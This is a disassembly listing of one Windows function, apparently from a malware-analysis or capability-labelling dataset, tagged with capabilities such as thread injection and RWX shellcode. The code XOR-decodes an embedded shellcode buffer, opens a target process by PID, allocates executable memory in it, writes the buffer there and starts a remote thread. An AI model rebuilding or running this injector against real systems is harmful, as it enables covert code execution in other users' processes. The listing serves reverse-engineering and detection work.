Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x60
mov rbp, rdx
cmp ecx, 2
je 0x140001092
lea rcx, str.____2_arguments_expected:_injector__PID___n
call fcn.140001010
xor eax, eax
add rsp, 0x60
pop rbp
ret
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], r15
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x115
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
mov r8d, 2
test rax, rax
je 0x140001149
mov rdx, rax
lea rcx, [0x140005080]
mov eax, r8d
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rdx - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm1
sub rax, 1
jne 0x1400010e3
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
mov eax, dword [rcx + 0x10]
mov dword [rdx + 0x10], eax
movzx eax, byte [rcx + 0x14]
mov byte [rdx + 0x14], al
movdqa xmm0, xmmword [0x140003560]
lea r9, [rdi + 4]
movdqa xmm2, xmmword [0x140003540]
xor r14d, r14d
movdqa xmm3, xmmword [0x140003550]
mov rdx, 0xfffffffffffffffe
movdqa xmmword [rsp + 0x40], xmm0
sub rdx, rdi
movzx r10d, word [rsp + 0x40]
sub r8, rdi
mov ecx, r14d
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [r9 - 4]
movq xmm1, rcx
punpcklqdq xmm1, xmm1
add rcx, 8
paddq xmm1, xmm2
movd xmm0, r10d
andps xmm1, xmm3
packuswb xmm1, xmm1
packuswb xmm1, xmm1
packuswb xmm1, xmm1
psubb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd xmm0, r10d
movd eax, xmm1
mov word [r9 - 4], ax
lea rax, [rdx + r9]
movq xmm1, rax
movzx eax, word [r9 - 2]
punpcklqdq xmm1, xmm1
paddq xmm1, xmm2
andps xmm1, xmm3
packuswb xmm1, xmm1
packuswb xmm1, xmm1
packuswb xmm1, xmm1
psubb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd xmm0, r10d
movd eax, xmm1
mov word [r9 - 2], ax
mov rax, r9
sub rax, rdi
movq xmm1, rax
movzx eax, word [r9]
punpcklqdq xmm1, xmm1
paddq xmm1, xmm2
andps xmm1, xmm3
packuswb xmm1, xmm1
packuswb xmm1, xmm1
packuswb xmm1, xmm1
psubb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd xmm0, r10d
movd eax, xmm1
mov word [r9], ax
lea rax, [r8 + r9]
movq xmm1, rax
movzx eax, word [r9 + 2]
punpcklqdq xmm1, xmm1
paddq xmm1, xmm2
andps xmm1, xmm3
packuswb xmm1, xmm1
packuswb xmm1, xmm1
packuswb xmm1, xmm1
psubb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 2], ax
add r9, 8
cmp rcx, 0x110
jb 0x140001190
cmp rcx, 0x115
jae 0x1400012c2
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0xf]
xor byte [rdi + rcx], al
inc rcx
cmp rcx, 0x115
jb 0x1400012b0
lea rdx, str.Shellcode
lea rcx, str.unsigned_char__s____
call fcn.140001010
mov ebx, r14d
lea r15, str.0x_0.2X
mov rsi, rdi
mov eax, ebx
and eax, 0x8000000f
jge 0x1400012f2
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140001302
lea rcx, [0x1400032d8]
call fcn.140001010
movzx edx, byte [rsi]
lea rcx, str.0x_0.2X_
cmp ebx, 0x114
cmovae rcx, r15
call fcn.140001010
inc ebx
inc rsi
cmp ebx, 0x115
jb 0x1400012e2
mov r15, qword [rsp + 0x50]
lea rcx, str.__n_n_n
call fcn.140001010
mov rcx, qword [rbp + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov edx, eax
lea rcx, str.PID:__d_n
mov esi, eax
call fcn.140001010
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001380
mov rdx, qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_create_handle_to_the_process__lu_n
call fcn.140001010
jmp 0x140001391
mov r8, rbx
lea rcx, str._i__A_handle_has_been_created_to_PID:__d__0x_p_n
mov edx, esi
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x115
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1400013cd
mov rdx, qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_allocate_memory__lu_n
call fcn.140001010
jmp 0x1400013e1
mov r8, rsi
lea rcx, str._i__allocated__lu_bytes__base_address:_0x_p_n
mov edx, 0x115
call fcn.140001010
mov r9d, 0x115
mov qword [rsp + 0x20], r14
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001414
mov rdx, qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_write_to_the_memory__lu_n
call fcn.140001010
jmp 0x140001420
lea rcx, str._i__The_code_was_successfully_written_to_the_memory_n
call fcn.140001010
mov qword [rsp + 0x30], r14
mov r9, rsi
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r14, qword [rsp + 0x58]
mov rbp, rax
test rax, rax
jne 0x140001462
mov rdx, qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_create_thread_in_the_remote_process__lu_n
call fcn.140001010
jmp 0x14000146e
lea rcx, str._i__The_thread_was_successfully_created_to_the_remote_process_n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rsi, qword [rsp + 0x78]
test eax, eax
jne 0x1400014af
mov rdx, qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_release_buffer__lu_n
call fcn.140001010
jmp 0x1400014bb
lea rcx, str._i__The_buffer_was_successfully_released_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x80]
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret